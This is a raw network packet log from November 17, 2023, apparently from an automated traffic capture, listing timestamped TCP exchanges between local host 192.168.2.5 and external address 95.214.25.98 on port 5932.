Nov 17, 2023 06:23:07.480120897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.480139017 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.480221033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.484899044 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.484916925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.484968901 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.489614964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.489684105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.489732981 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.494303942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.494321108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.494385004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.498823881 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.498848915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.498899937 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.503346920 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.503366947 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.503417015 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.507945061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.507962942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.508019924 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.512233973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.512252092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.512309074 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.516741991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.516760111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.516817093 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.521040916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.521059990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.521111965 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.525326967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.525357008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.525403976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.529578924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.529597044 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.529644966 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.533760071 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.533777952 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.533826113 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.537941933 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.537981987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.538036108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.542072058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.542088985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.542140961 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.546087980 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.546106100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.546160936 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.550117970 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.550134897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.550184011 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.554200888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.554219961 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.554270029 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.558156967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.558196068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.558263063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.562024117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.562041998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.562100887 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.565902948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.565922022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.565999031 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.569839954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.569876909 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.569930077 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.573640108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.573657990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.573709011 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.577405930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.577424049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.577476978 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.581201077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.581238985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.581290007 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.584934950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.584952116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.584997892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.588659048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.588685989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.588742971 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.592420101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.592457056 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.592511892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.596177101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.596201897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.596256018 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.599872112 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.599889040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.599946976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.603465080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.603512049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.603558064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.607139111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.607193947 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.607237101 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.610861063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.610877991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.610928059 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.614500046 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.614537954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.614584923 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.618117094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.618134975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.618187904 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.621670961 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.621690035 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.621737003 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.625226021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.625250101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.625308037 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.628771067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.628798008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.628842115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.632468939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.632486105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.632538080 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.635803938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.635843992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.635895014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.639229059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.639273882 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.639314890 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.642647982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.642666101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.642715931 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.646064043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.646100044 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.646136999 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.649435997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.649483919 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.649525881 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.652801991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.652820110 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.652857065 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.656105995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.656143904 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.656204939 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.659437895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.659518957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.659565926 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.662847042 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.662863970 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.662914991 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.666134119 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.666176081 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.666214943 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.669419050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.669436932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.669584990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.672708035 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.672750950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.672797918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.676016092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.676034927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.676084042 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.679136992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.679192066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.679239988 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.682349920 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.682367086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.682410955 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.685453892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.685530901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.685581923 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.688633919 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.688651085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.688697100 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.691725016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.691855907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.691909075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.694927931 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.694946051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.694993019 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.697941065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.697958946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.698019981 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.701029062 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.701066971 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.701117992 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.704022884 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.704101086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.704154015 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.707025051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.707041979 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.707092047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.710005999 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.710057974 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.710108042 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.713056087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.713150978 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.713203907 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.716109037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.716126919 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.716173887 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.719096899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.719115019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.719161034 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.722023010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.722101927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.722172976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.725014925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.725032091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.725076914 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.727946997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.727965117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.728101969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.730882883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.730901003 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.730978012 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.733752966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.733804941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.733851910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.736641884 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.736680031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.736726999 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.739461899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.739500999 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.739556074 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.742360115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.742384911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.742428064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.745321035 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.745346069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.745390892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.748064995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.748083115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.748131037 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.750910997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.750927925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.750986099 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.753781080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.753798008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.753848076 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.756498098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.756515980 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.756562948 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.759319067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.759337902 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.759387016 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.762212038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.762305021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.762356997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.764925957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.764944077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.765000105 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.767565966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.767606974 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.767679930 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.770343065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.770361900 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.770543098 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.773036003 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.773055077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.773121119 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.775785923 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.775804043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.775861979 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.778448105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.778465986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.778542995 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.781194925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.781213045 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.781280041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.783739090 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.783762932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.783819914 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.786426067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.786484957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.786539078 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.789036036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.789055109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.789114952 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.791727066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.791745901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.791799068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.794327974 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.794346094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.794394016 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.797010899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.797029018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.797072887 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.799526930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.799568892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.799612999 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.802124977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.802143097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.802196980 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.804631948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.804671049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.804718971 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.807235956 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.807255030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.807301044 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.809699059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.809737921 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.809812069 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.812299967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.812318087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.812369108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.814845085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.814892054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.814937115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.817259073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.817276001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.817317963 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.819783926 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.819823027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.819866896 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.822237968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.822256088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.822299004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.824661970 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.824681044 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.824728012 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.827825069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.827868938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.827914953 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.832297087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.832335949 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.832393885 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.836788893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.836807013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.836862087 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.841093063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.841111898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.841159105 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.845679998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.845726013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.845772982 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.850007057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.850025892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.850070953 CET	49714	5932	192.168.2.5	95.214.25.98
